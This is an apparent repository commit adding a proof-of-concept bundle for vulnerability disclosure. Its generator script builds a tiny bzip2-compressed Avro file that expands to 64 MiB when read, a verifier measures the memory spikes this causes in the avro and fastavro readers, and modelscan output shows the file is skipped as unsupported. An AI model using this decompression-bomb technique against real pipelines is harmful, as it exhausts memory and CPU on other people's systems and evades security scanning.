Add benign Apache Avro parser-DoS PoC bundle
Browse files- README.md +28 -0
- SHA256SUMS.txt +1 -0
- VERSIONS.md +7 -0
- artifacts/avro_bzip2_dos.avro +0 -0
- generate_poc.py +68 -0
- results/modelscan_report.json +1 -0
- results/modelscan_stderr.txt +0 -0
- results/modelscan_stdout.txt +12 -0
- results/results.json +81 -0
- verifier.py +187 -0
README.md
ADDED
|
@@ -0,0 +1,28 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Apache Avro benign parser-DoS PoC
|
| 2 |
+
|
| 3 |
+
This PoC demonstrates a scanner/runtime mismatch for Avro artifacts in ML-adjacent pipelines:
|
| 4 |
+
|
| 5 |
+
- `modelscan` does not treat `.avro` as a supported model file type and skips it.
|
| 6 |
+
- Python `avro` and `fastavro` fully decompress an Avro object-container block before yielding the first record.
|
| 7 |
+
- A small compressed `.avro` file can therefore trigger disproportionate memory and CPU work when used for ML dataset shards, metadata bundles, or checkpoint-adjacent binary blobs.
|
| 8 |
+
|
| 9 |
+
## Files
|
| 10 |
+
|
| 11 |
+
- `generate_poc.py` - builds a benign `.avro` artifact with a highly compressible `tensor_bytes` payload
|
| 12 |
+
- `verifier.py` - reads the artifact with both Python runtimes, captures working-set deltas, and records `modelscan` output
|
| 13 |
+
- `artifacts/avro_bzip2_dos.avro` - staged benign artifact
|
| 14 |
+
- `results/results.json` - summarized run output
|
| 15 |
+
|
| 16 |
+
## Reproduce
|
| 17 |
+
|
| 18 |
+
```powershell
|
| 19 |
+
cd C:\Users\Pragnyan\dev\huntr-exp1\avro
|
| 20 |
+
.\.venv\Scripts\python.exe .\hf_avro_poc\generate_poc.py
|
| 21 |
+
.\.venv\Scripts\python.exe .\hf_avro_poc\verifier.py
|
| 22 |
+
```
|
| 23 |
+
|
| 24 |
+
## Expected outcome
|
| 25 |
+
|
| 26 |
+
- Artifact size is tiny relative to the uncompressed payload.
|
| 27 |
+
- Both readers report `tensor_bytes_len` equal to the large embedded payload.
|
| 28 |
+
- `modelscan` reports the file as skipped or unsupported, leaving the runtime behavior unanalyzed.
|
SHA256SUMS.txt
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
ce4aa3f5829c42070a1ac7421881d56724149e720edb2d97325a9d3ae8a5ee71 artifacts/avro_bzip2_dos.avro
|
VERSIONS.md
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Versions
|
| 2 |
+
|
| 3 |
+
- Python: 3.12.12
|
| 4 |
+
- Apache Avro (Python): 1.12.1
|
| 5 |
+
- fastavro: 1.12.2
|
| 6 |
+
- modelscan: 0.8.8
|
| 7 |
+
- Verification date: 2026-05-12
|
artifacts/avro_bzip2_dos.avro
ADDED
|
Binary file (486 Bytes). View file
|
|
|
generate_poc.py
ADDED
|
@@ -0,0 +1,68 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import argparse
|
| 2 |
+
import hashlib
|
| 3 |
+
import json
|
| 4 |
+
from pathlib import Path
|
| 5 |
+
|
| 6 |
+
import avro.io
|
| 7 |
+
import avro.schema
|
| 8 |
+
from avro.datafile import DataFileWriter
|
| 9 |
+
|
| 10 |
+
|
| 11 |
+
SCHEMA_JSON = {
|
| 12 |
+
"type": "record",
|
| 13 |
+
"name": "ModelShard",
|
| 14 |
+
"namespace": "org.example.ml",
|
| 15 |
+
"fields": [
|
| 16 |
+
{"name": "tensor_name", "type": "string"},
|
| 17 |
+
{"name": "tensor_bytes", "type": "bytes"},
|
| 18 |
+
{"name": "notes", "type": "string"},
|
| 19 |
+
],
|
| 20 |
+
}
|
| 21 |
+
|
| 22 |
+
|
| 23 |
+
def sha256_file(path: Path) -> str:
|
| 24 |
+
h = hashlib.sha256()
|
| 25 |
+
with path.open("rb") as handle:
|
| 26 |
+
for chunk in iter(lambda: handle.read(1024 * 1024), b""):
|
| 27 |
+
h.update(chunk)
|
| 28 |
+
return h.hexdigest()
|
| 29 |
+
|
| 30 |
+
|
| 31 |
+
ROOT = Path(__file__).resolve().parent
|
| 32 |
+
|
| 33 |
+
|
| 34 |
+
def main() -> None:
|
| 35 |
+
parser = argparse.ArgumentParser(description="Generate a benign Avro decompression-DoS PoC artifact.")
|
| 36 |
+
parser.add_argument("--output", default=str(ROOT / "artifacts" / "avro_bzip2_dos.avro"))
|
| 37 |
+
parser.add_argument("--size-mib", type=int, default=64)
|
| 38 |
+
parser.add_argument("--codec", default="bzip2")
|
| 39 |
+
args = parser.parse_args()
|
| 40 |
+
|
| 41 |
+
out_path = Path(args.output)
|
| 42 |
+
out_path.parent.mkdir(parents=True, exist_ok=True)
|
| 43 |
+
|
| 44 |
+
payload = b"A" * (args.size_mib * 1024 * 1024)
|
| 45 |
+
schema = avro.schema.parse(json.dumps(SCHEMA_JSON))
|
| 46 |
+
datum = {
|
| 47 |
+
"tensor_name": "dense.weight",
|
| 48 |
+
"tensor_bytes": payload,
|
| 49 |
+
"notes": "Benign PoC: repetitive bytes to demonstrate block decompression before first record yield.",
|
| 50 |
+
}
|
| 51 |
+
|
| 52 |
+
with out_path.open("wb") as handle:
|
| 53 |
+
writer = DataFileWriter(handle, avro.io.DatumWriter(), schema, codec=args.codec)
|
| 54 |
+
writer.append(datum)
|
| 55 |
+
writer.close()
|
| 56 |
+
|
| 57 |
+
info = {
|
| 58 |
+
"artifact": str(out_path),
|
| 59 |
+
"codec": args.codec,
|
| 60 |
+
"payload_bytes": len(payload),
|
| 61 |
+
"artifact_bytes": out_path.stat().st_size,
|
| 62 |
+
"sha256": sha256_file(out_path),
|
| 63 |
+
}
|
| 64 |
+
print(json.dumps(info, indent=2))
|
| 65 |
+
|
| 66 |
+
|
| 67 |
+
if __name__ == "__main__":
|
| 68 |
+
main()
|
results/modelscan_report.json
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
{"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0}, "total_issues": 0, "input_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts\\avro_bzip2_dos.avro", "absolute_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts", "modelscan_version": "0.8.8", "timestamp": "2026-05-12T12:52:23.702491", "scanned": {"total_scanned": 0}, "skipped": {"total_skipped": 1, "skipped_files": [{"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan did not scan file", "source": "avro_bzip2_dos.avro"}]}}, "issues": [], "errors": []}
|
results/modelscan_stderr.txt
ADDED
|
File without changes
|
results/modelscan_stdout.txt
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
No settings file detected at C:\Users\Pragnyan\dev\huntr-exp1\avro\modelscan-settings.toml. Using defaults.
|
| 2 |
+
|
| 3 |
+
{"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0,
|
| 4 |
+
"CRITICAL": 0}, "total_issues": 0, "input_path":
|
| 5 |
+
"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts\\avro_bzip2
|
| 6 |
+
_dos.avro", "absolute_path":
|
| 7 |
+
"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts",
|
| 8 |
+
"modelscan_version": "0.8.8", "timestamp": "2026-05-12T12:52:23.702491",
|
| 9 |
+
"scanned": {"total_scanned": 0}, "skipped": {"total_skipped": 1,
|
| 10 |
+
"skipped_files": [{"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan
|
| 11 |
+
did not scan file", "source": "avro_bzip2_dos.avro"}]}}, "issues": [],
|
| 12 |
+
"errors": []}
|
results/results.json
ADDED
|
@@ -0,0 +1,81 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"artifact": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts\\avro_bzip2_dos.avro",
|
| 3 |
+
"artifact_bytes": 486,
|
| 4 |
+
"artifact_sha256": "ce4aa3f5829c42070a1ac7421881d56724149e720edb2d97325a9d3ae8a5ee71",
|
| 5 |
+
"payload_bytes": 67108864,
|
| 6 |
+
"compression_ratio": 138084.08,
|
| 7 |
+
"versions": {
|
| 8 |
+
"python": "3.12.12 (main, Oct 28 2025, 14:15:42) [MSC v.1944 64 bit (AMD64)]",
|
| 9 |
+
"avro": "1.12.1",
|
| 10 |
+
"fastavro": "1.12.2"
|
| 11 |
+
},
|
| 12 |
+
"results": {
|
| 13 |
+
"avro": {
|
| 14 |
+
"library": "avro",
|
| 15 |
+
"elapsed_seconds": 0.2747,
|
| 16 |
+
"working_set_before": 22327296,
|
| 17 |
+
"working_set_after": 157544448,
|
| 18 |
+
"peak_working_set": 161169408,
|
| 19 |
+
"pagefile_after": 149045248,
|
| 20 |
+
"tensor_name": "dense.weight",
|
| 21 |
+
"tensor_bytes_len": 67108864
|
| 22 |
+
},
|
| 23 |
+
"fastavro": {
|
| 24 |
+
"library": "fastavro",
|
| 25 |
+
"elapsed_seconds": 0.2783,
|
| 26 |
+
"working_set_before": 22315008,
|
| 27 |
+
"working_set_after": 89837568,
|
| 28 |
+
"peak_working_set": 160251904,
|
| 29 |
+
"pagefile_after": 80330752,
|
| 30 |
+
"tensor_name": "dense.weight",
|
| 31 |
+
"tensor_bytes_len": 67108864
|
| 32 |
+
}
|
| 33 |
+
},
|
| 34 |
+
"modelscan": {
|
| 35 |
+
"command": [
|
| 36 |
+
"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\.venv\\Scripts\\modelscan.exe",
|
| 37 |
+
"scan",
|
| 38 |
+
"-p",
|
| 39 |
+
"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts\\avro_bzip2_dos.avro",
|
| 40 |
+
"--show-skipped",
|
| 41 |
+
"-r",
|
| 42 |
+
"json",
|
| 43 |
+
"-o",
|
| 44 |
+
"C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\results\\modelscan_report.json"
|
| 45 |
+
],
|
| 46 |
+
"returncode": 3,
|
| 47 |
+
"stdout": "No settings file detected at C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\modelscan-settings.toml. Using defaults. \n\n{\"summary\": {\"total_issues_by_severity\": {\"LOW\": 0, \"MEDIUM\": 0, \"HIGH\": 0, \n\"CRITICAL\": 0}, \"total_issues\": 0, \"input_path\": \n\"C:\\\\Users\\\\Pragnyan\\\\dev\\\\huntr-exp1\\\\avro\\\\hf_avro_poc\\\\artifacts\\\\avro_bzip2\n_dos.avro\", \"absolute_path\": \n\"C:\\\\Users\\\\Pragnyan\\\\dev\\\\huntr-exp1\\\\avro\\\\hf_avro_poc\\\\artifacts\", \n\"modelscan_version\": \"0.8.8\", \"timestamp\": \"2026-05-12T12:52:23.702491\", \n\"scanned\": {\"total_scanned\": 0}, \"skipped\": {\"total_skipped\": 1, \n\"skipped_files\": [{\"category\": \"SCAN_NOT_SUPPORTED\", \"description\": \"Model Scan\ndid not scan file\", \"source\": \"avro_bzip2_dos.avro\"}]}}, \"issues\": [], \n\"errors\": []}\n",
|
| 48 |
+
"stderr": "",
|
| 49 |
+
"report_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\results\\modelscan_report.json",
|
| 50 |
+
"report": {
|
| 51 |
+
"summary": {
|
| 52 |
+
"total_issues_by_severity": {
|
| 53 |
+
"LOW": 0,
|
| 54 |
+
"MEDIUM": 0,
|
| 55 |
+
"HIGH": 0,
|
| 56 |
+
"CRITICAL": 0
|
| 57 |
+
},
|
| 58 |
+
"total_issues": 0,
|
| 59 |
+
"input_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts\\avro_bzip2_dos.avro",
|
| 60 |
+
"absolute_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\avro\\hf_avro_poc\\artifacts",
|
| 61 |
+
"modelscan_version": "0.8.8",
|
| 62 |
+
"timestamp": "2026-05-12T12:52:23.702491",
|
| 63 |
+
"scanned": {
|
| 64 |
+
"total_scanned": 0
|
| 65 |
+
},
|
| 66 |
+
"skipped": {
|
| 67 |
+
"total_skipped": 1,
|
| 68 |
+
"skipped_files": [
|
| 69 |
+
{
|
| 70 |
+
"category": "SCAN_NOT_SUPPORTED",
|
| 71 |
+
"description": "Model Scan did not scan file",
|
| 72 |
+
"source": "avro_bzip2_dos.avro"
|
| 73 |
+
}
|
| 74 |
+
]
|
| 75 |
+
}
|
| 76 |
+
},
|
| 77 |
+
"issues": [],
|
| 78 |
+
"errors": []
|
| 79 |
+
}
|
| 80 |
+
}
|
| 81 |
+
}
|
verifier.py
ADDED
|
@@ -0,0 +1,187 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import argparse
|
| 2 |
+
import ctypes
|
| 3 |
+
from ctypes import wintypes
|
| 4 |
+
import gc
|
| 5 |
+
import hashlib
|
| 6 |
+
import json
|
| 7 |
+
import os
|
| 8 |
+
import subprocess
|
| 9 |
+
import sys
|
| 10 |
+
import time
|
| 11 |
+
from pathlib import Path
|
| 12 |
+
|
| 13 |
+
import avro
|
| 14 |
+
import fastavro
|
| 15 |
+
|
| 16 |
+
|
| 17 |
+
ROOT = Path(__file__).resolve().parent
|
| 18 |
+
ARTIFACT = ROOT / "artifacts" / "avro_bzip2_dos.avro"
|
| 19 |
+
RESULTS_DIR = ROOT / "results"
|
| 20 |
+
GENERATOR = ROOT / "generate_poc.py"
|
| 21 |
+
|
| 22 |
+
|
| 23 |
+
class PROCESS_MEMORY_COUNTERS(ctypes.Structure):
|
| 24 |
+
_fields_ = [
|
| 25 |
+
("cb", wintypes.DWORD),
|
| 26 |
+
("PageFaultCount", wintypes.DWORD),
|
| 27 |
+
("PeakWorkingSetSize", ctypes.c_size_t),
|
| 28 |
+
("WorkingSetSize", ctypes.c_size_t),
|
| 29 |
+
("QuotaPeakPagedPoolUsage", ctypes.c_size_t),
|
| 30 |
+
("QuotaPagedPoolUsage", ctypes.c_size_t),
|
| 31 |
+
("QuotaPeakNonPagedPoolUsage", ctypes.c_size_t),
|
| 32 |
+
("QuotaNonPagedPoolUsage", ctypes.c_size_t),
|
| 33 |
+
("PagefileUsage", ctypes.c_size_t),
|
| 34 |
+
("PeakPagefileUsage", ctypes.c_size_t),
|
| 35 |
+
]
|
| 36 |
+
|
| 37 |
+
|
| 38 |
+
def working_set() -> dict[str, int]:
|
| 39 |
+
get_process_memory_info = ctypes.windll.psapi.GetProcessMemoryInfo
|
| 40 |
+
get_process_memory_info.argtypes = [wintypes.HANDLE, ctypes.POINTER(PROCESS_MEMORY_COUNTERS), wintypes.DWORD]
|
| 41 |
+
get_process_memory_info.restype = wintypes.BOOL
|
| 42 |
+
counters = PROCESS_MEMORY_COUNTERS()
|
| 43 |
+
counters.cb = ctypes.sizeof(PROCESS_MEMORY_COUNTERS)
|
| 44 |
+
ok = get_process_memory_info(
|
| 45 |
+
ctypes.windll.kernel32.GetCurrentProcess(),
|
| 46 |
+
ctypes.byref(counters),
|
| 47 |
+
counters.cb,
|
| 48 |
+
)
|
| 49 |
+
if not ok:
|
| 50 |
+
raise ctypes.WinError()
|
| 51 |
+
return {
|
| 52 |
+
"working_set": int(counters.WorkingSetSize),
|
| 53 |
+
"peak_working_set": int(counters.PeakWorkingSetSize),
|
| 54 |
+
"pagefile": int(counters.PagefileUsage),
|
| 55 |
+
}
|
| 56 |
+
|
| 57 |
+
|
| 58 |
+
def sha256_file(path: Path) -> str:
|
| 59 |
+
h = hashlib.sha256()
|
| 60 |
+
with path.open("rb") as handle:
|
| 61 |
+
for chunk in iter(lambda: handle.read(1024 * 1024), b""):
|
| 62 |
+
h.update(chunk)
|
| 63 |
+
return h.hexdigest()
|
| 64 |
+
|
| 65 |
+
|
| 66 |
+
def run_child(library: str) -> dict:
|
| 67 |
+
cmd = [sys.executable, str(Path(__file__).resolve()), "--child", library, "--artifact", str(ARTIFACT)]
|
| 68 |
+
proc = subprocess.run(cmd, capture_output=True, text=True, check=True)
|
| 69 |
+
return json.loads(proc.stdout)
|
| 70 |
+
|
| 71 |
+
|
| 72 |
+
def child_main(library: str, artifact: Path) -> None:
|
| 73 |
+
gc.collect()
|
| 74 |
+
before = working_set()
|
| 75 |
+
t0 = time.perf_counter()
|
| 76 |
+
|
| 77 |
+
if library == "avro":
|
| 78 |
+
import avro.io
|
| 79 |
+
from avro.datafile import DataFileReader
|
| 80 |
+
|
| 81 |
+
with artifact.open("rb") as handle:
|
| 82 |
+
reader = DataFileReader(handle, avro.io.DatumReader())
|
| 83 |
+
record = next(iter(reader))
|
| 84 |
+
reader.close()
|
| 85 |
+
elif library == "fastavro":
|
| 86 |
+
with artifact.open("rb") as handle:
|
| 87 |
+
record = next(fastavro.reader(handle))
|
| 88 |
+
else:
|
| 89 |
+
raise SystemExit(f"unknown library: {library}")
|
| 90 |
+
|
| 91 |
+
elapsed = time.perf_counter() - t0
|
| 92 |
+
after = working_set()
|
| 93 |
+
result = {
|
| 94 |
+
"library": library,
|
| 95 |
+
"elapsed_seconds": round(elapsed, 4),
|
| 96 |
+
"working_set_before": before["working_set"],
|
| 97 |
+
"working_set_after": after["working_set"],
|
| 98 |
+
"peak_working_set": after["peak_working_set"],
|
| 99 |
+
"pagefile_after": after["pagefile"],
|
| 100 |
+
"tensor_name": record["tensor_name"],
|
| 101 |
+
"tensor_bytes_len": len(record["tensor_bytes"]),
|
| 102 |
+
}
|
| 103 |
+
print(json.dumps(result))
|
| 104 |
+
|
| 105 |
+
|
| 106 |
+
def run_modelscan(artifact: Path) -> dict:
|
| 107 |
+
report_path = RESULTS_DIR / "modelscan_report.json"
|
| 108 |
+
cmd = [
|
| 109 |
+
str(ROOT.parent / ".venv" / "Scripts" / "modelscan.exe"),
|
| 110 |
+
"scan",
|
| 111 |
+
"-p",
|
| 112 |
+
str(artifact),
|
| 113 |
+
"--show-skipped",
|
| 114 |
+
"-r",
|
| 115 |
+
"json",
|
| 116 |
+
"-o",
|
| 117 |
+
str(report_path),
|
| 118 |
+
]
|
| 119 |
+
proc = subprocess.run(cmd, capture_output=True, text=True)
|
| 120 |
+
report = None
|
| 121 |
+
if report_path.exists():
|
| 122 |
+
report = json.loads(report_path.read_text(encoding="utf-8"))
|
| 123 |
+
raw = {
|
| 124 |
+
"command": cmd,
|
| 125 |
+
"returncode": proc.returncode,
|
| 126 |
+
"stdout": proc.stdout,
|
| 127 |
+
"stderr": proc.stderr,
|
| 128 |
+
"report_path": str(report_path),
|
| 129 |
+
"report": report,
|
| 130 |
+
}
|
| 131 |
+
return raw
|
| 132 |
+
|
| 133 |
+
|
| 134 |
+
def ensure_artifact() -> None:
|
| 135 |
+
if ARTIFACT.exists():
|
| 136 |
+
return
|
| 137 |
+
subprocess.run(
|
| 138 |
+
[sys.executable, str(GENERATOR), "--output", str(ARTIFACT)],
|
| 139 |
+
cwd=str(ROOT),
|
| 140 |
+
check=True,
|
| 141 |
+
)
|
| 142 |
+
|
| 143 |
+
|
| 144 |
+
def main() -> None:
|
| 145 |
+
parser = argparse.ArgumentParser(description="Verify the Avro benign DoS PoC.")
|
| 146 |
+
parser.add_argument("--child", choices=["avro", "fastavro"])
|
| 147 |
+
parser.add_argument("--artifact", default=str(ARTIFACT))
|
| 148 |
+
args = parser.parse_args()
|
| 149 |
+
|
| 150 |
+
artifact = Path(args.artifact)
|
| 151 |
+
if args.child:
|
| 152 |
+
child_main(args.child, artifact)
|
| 153 |
+
return
|
| 154 |
+
|
| 155 |
+
RESULTS_DIR.mkdir(parents=True, exist_ok=True)
|
| 156 |
+
ensure_artifact()
|
| 157 |
+
|
| 158 |
+
avro_result = run_child("avro")
|
| 159 |
+
fastavro_result = run_child("fastavro")
|
| 160 |
+
modelscan_result = run_modelscan(artifact)
|
| 161 |
+
|
| 162 |
+
summary = {
|
| 163 |
+
"artifact": str(artifact),
|
| 164 |
+
"artifact_bytes": artifact.stat().st_size,
|
| 165 |
+
"artifact_sha256": sha256_file(artifact),
|
| 166 |
+
"payload_bytes": avro_result["tensor_bytes_len"],
|
| 167 |
+
"compression_ratio": round(avro_result["tensor_bytes_len"] / artifact.stat().st_size, 2),
|
| 168 |
+
"versions": {
|
| 169 |
+
"python": sys.version,
|
| 170 |
+
"avro": avro.__version__,
|
| 171 |
+
"fastavro": fastavro.__version__,
|
| 172 |
+
},
|
| 173 |
+
"results": {
|
| 174 |
+
"avro": avro_result,
|
| 175 |
+
"fastavro": fastavro_result,
|
| 176 |
+
},
|
| 177 |
+
"modelscan": modelscan_result,
|
| 178 |
+
}
|
| 179 |
+
|
| 180 |
+
(RESULTS_DIR / "results.json").write_text(json.dumps(summary, indent=2), encoding="utf-8")
|
| 181 |
+
(RESULTS_DIR / "modelscan_stdout.txt").write_text(modelscan_result["stdout"], encoding="utf-8")
|
| 182 |
+
(RESULTS_DIR / "modelscan_stderr.txt").write_text(modelscan_result["stderr"], encoding="utf-8")
|
| 183 |
+
print(json.dumps(summary, indent=2))
|
| 184 |
+
|
| 185 |
+
|
| 186 |
+
if __name__ == "__main__":
|
| 187 |
+
main()
|